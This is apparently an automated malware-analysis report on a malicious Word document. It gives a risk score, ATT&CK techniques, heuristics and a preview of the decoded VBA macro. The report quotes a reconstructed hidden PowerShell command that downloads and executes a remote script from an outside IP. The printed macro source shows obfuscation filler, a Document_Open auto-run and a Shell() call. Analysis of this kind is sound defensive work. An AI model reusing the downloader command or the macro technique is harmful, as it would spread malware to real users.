MALICIOUS
162
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro triggers a Shell() call, which is highly suspicious. The script attempts to construct a PowerShell command, likely to download and execute a secondary payload. The reconstructed command string is 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://185.189.255.20/shell.ps1\')"'. This indicates a downloader or dropper functionality.
Heuristics 5
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 17751 bytes |
SHA-256: 1fc46e91121180c2cc54f2fe9f80c4d77f57fea63253cbe07976d0b73a4dc147 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "QCZSHSYTHK" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function QvbRhSEr() On Error Resume Next YcThi = wHvuoN qlSAh = 30545 / 65114 dAzNw = RPdskZ * CSng(40435 * Fix(86468)) * BjSfz + CSng(QTScX + CLng(qSvfm)) / (bzzVW * CSng(84136) - (19167 + Fix(MPbWB) - (25633 + CLng(wXKiRj - Log(NjfkZJ) - 52427 + Int(hNzYtt))))) jMaVo = Atn(ArwbJ + Sin(uvkzUR) - 62977 / 72064) iUKYtA = 94570 + 64020 iiqGjv = kFCaFG SYvrj = 41635 / 24085 HMIAqa = VHqSd * CSng(45877 * Fix(96934)) * PPDmpY + CSng(sYcHb + CLng(nAOkw)) / (VHYiBX * CSng(36) - (50544 + Fix(wuKLLZ) - (95254 + CLng(zKZEl - Log(jYiwE) - 66231 + Int(chicd))))) qlCPpw = Atn(uiRwQd + Sin(jQaYqk) - 74985 / 78721) iJPNjB = 94121 + 30233 HwjSh = SOcYX DQrFm = 54014 / 21466 vBikqu = CYRlN * CSng(65613 * Fix(74971)) * DUfoli + CSng(jzfqU + CLng(IJFawp)) / (FBKEpw * CSng(98881) - (3554 + Fix(VZAnKU) - (83458 + CLng(RBKiSf - Log(AZHuP) - 23483 + Int(RsrdB))))) bwmiK = Atn(dGqhon + Sin(dJviM) - 74369 / 43111) iasXMH = 11314 + 73260 mntDDE = iICSX dzawUR = 61908 / 48622 WOfqf = XivdY * CSng(35936 * Fix(36049)) * ikHVkd + CSng(jCoOVG + CLng(YYwptJ)) / (tQqncc * CSng(70487) - (38217 + Fix(zFiAbH) - (21382 + CLng(MELqLq - Log(KwdKWi) - 66441 + Int(JOpUR))))) IAFMDo = Atn(mGRQM + Sin(dpwuh) - 50281 / 27464) zKsTG = 94552 + 66068 QvbRhSEr = BpWtYmcYl + Chr$(wHjjrsPM + 80 + PcBXvHMc) + "OwerSH" + nNqMR + ijwks + ImSvzVtuBrI + CESzSSiqF + SOsQNMotSG tiQwC = czCjHh msTHKV = 64303 / 62441 tDEfB = PjXdNU * CSng(59531 * Fix(56167)) * KZktQ + CSng(YwFln + CLng(mDMwOR)) / (tpwYCa * CSng(28210) - (47908 + Fix(oJYjQq) - (12147 + CLng(wRDiVH - Log(uOwcjL) - 63981 + Int(CzjdMA))))) SBAtHw = Atn(GQwwj + Sin(zOzXiz) - 58845 / 78062) LtKRFj = 20299 + 38391 ltMDv = ikQOzA aSXnio = 62665 / 57600 WtqPH = AlrZk * CSng(68781 * Fix(5811)) * jwLPu + CSng(wzhvFI + CLng(XIhfUR)) / (IWImZD * CSng(99696) - (31596 + Fix(iwwjdD) - (5942 + CLng(mRMQYM - Log(JwkcdK) - 87744 + Int(SWsJq))))) qrijI = Atn(wJcKTF + Sin(tCEPj) - 19552 / 24759) jfkBoC = 23868 + 91033 End Function Function GirjD(kcAnKTit) On Error Resume Next CCULmN = mILdJK VWVOij = 62110 / 9406 IzdvP = LtdJR * CSng(60698 * Fix(35591)) * atBzb + CSng(fTwPdE + CLng(OQZoSP)) / (cujHj * CSng(4502) - (35754 + Fix(nEfUDA) - (66081 + CLng(ECmnbp - Log(NSKfz) - 55800 + Int(VzPPz))))) JtQZHo = Atn(rkIAsj + Sin(Ulfccn) - 81713 / 41395) ZIXFA = 27091 + 26840 wVoact = TNjdzW HsLHMt = 66104 / 37805 oEuCma = IEDLqi * CSng(33444 * Fix(16365)) * Swpiis + CSng(LjEWwz + CLng(RBsMj)) / (rLtLL * CSng(5900) - (48858 + Fix(wwnZb) - (69728 + CLng(qzjLw - Log(jShDw) - 17860 + Int(mKzRlB))))) HDiSb = Atn(ZMmRz + Sin(PLbEM) - 1973 / 69136) RrkjTn = 75351 + 19981 zSblL = YSHfSD + Shell(wPrcB + kcAnKTit + hjHUs, 12372 - 12372) GQcdqv = fhujhs Ldzbl = 37220 / 23271 BSAOr = GhkFY * CSng(77204 * Fix(92515)) * wnRnk + CSng(RGjkMu + CLng(kzDIh)) / (EnIbf * CSng(92237) - (93806 + Fix(Bttzr) - (39558 + CLng(fHNXVm - Log(uiPBwV) - 41487 + Int(hzrbrV))))) LmrosP = Atn(qnVaC + Sin(sqlLZ) - 9670 / 85416) QGbufL = 12407 + 72867 End Function Private Sub Document_open() On Error Resume Next plRTOr = oriinw ufFXQB = 38112 / 585 mcOzJ = MHwBuj * CSng(9593 * Fix(95198)) * OzPFi + CSng(VKhjzc + CLng(VdVja)) / (qAcvR * CSng(75653) - (39770 + Fix(mjwvbY) - (86742 + CLng(sbGAV - Log(RhQLP) - 7553 + Int(SfKGpH))))) mBwSJ = Atn(iiinVD + Sin(UludZ) - 86775 / 48025) jWSPpq = 23254 + 60610 ZcNnz = HTJEv hiptO = 77423 / 20335 iqsWsu = pPivwk * CSng(74185 * Fix(91897)) * uRoiO + CSng(vvCPMc + CLng(mOGIoi)) / (WUkuzo * CSng(36367) - (17284 + Fix(iFYsL) - (75813 + CLng(szhrv - Log(TdhQFd) - 30608 + Int(pvDSjZ))))) ukaXms = Atn(JnkYw + Sin(NLGrhZ) - 2274 / 13049) qLoRhl = 63919 + 62442 Application.Run dRTjMlBbWk + "GirjD" + YBzJJa, XjNcMUhpEY + QvbRhSEr + TsziuisEmut sTAIwW = rFCFs XZwGZP = 88755 / 68721 MlJYai = ritdk * CSng(9 ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.